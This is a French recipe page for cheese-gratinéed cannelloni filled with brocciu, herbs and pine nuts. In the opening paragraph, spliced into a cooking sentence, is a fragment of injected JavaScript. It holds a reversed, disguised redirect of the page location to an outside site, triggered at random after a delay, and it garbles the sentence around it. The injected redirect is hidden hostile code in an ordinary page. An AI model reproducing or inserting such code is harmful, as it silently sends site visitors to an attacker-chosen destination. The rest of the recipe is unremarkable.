Cannellonis gratinés au fromage

2018-02-19

Thématique : Végétarien
Niveau : Difficile

Pelez, émincez les oignons. Dans une poêle avec 2 cuillères à soupe d’huile d’arachide sur feu moyen, faites revenir les oignons, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant jusqu’à ça qu’ils soient translucides. Réservez.

Ingrédients

Pour 6 personnes
12 feuilles de lasagne
2 oignons
500 g de Brocciu
100 g de parmesan râpé
2 feuilles de menthe fraîche ciselées
1 brin de basilic ciselé
60 g de pignon de pin
Huile d'olive
Sel - Poivre du moulin

Préparation de la recette

Etape 1

Pelez, émincez les oignons. Dans une poêle avec 2 cuillères à soupe d'huile d'arachide sur feu moyen, faites revenir les oignons, tout en remuant jusqu'à ça qu'ils soient translucides. Réservez.

Etape 2

Dans une poêle sans matière grasse, sur feu vif, faites griller les pignons de pin.

Etape 3

Dans un saladier mélangez le Brocciu avec la menthe, le basilic, les pignons de pin, les oignons, sel, poivre du moulin.

Etape 4

Dans une casserole d'eau bouillante salée. Portez à ébullition. Plongez les feuilles de lasagnes. Portez à nouveau à ébullition et faites-les pendant 3 minutes.

Etape 5

Les égoutter et les déposer à plat sur un linge propre. Garnissez chaque feuilles de lasagne de la préparation au Brocciu, les rouler pour former des cannellonis.

Etape 6

Déposez-les dans un plat à gratin beurré. Saupoudrez de parmesan. Préchauffez le four à 180° C thermostat 6. Enfournez et faites cuire pendant 25 minutes. Quand les cannellonis sont dorés. Dégustez.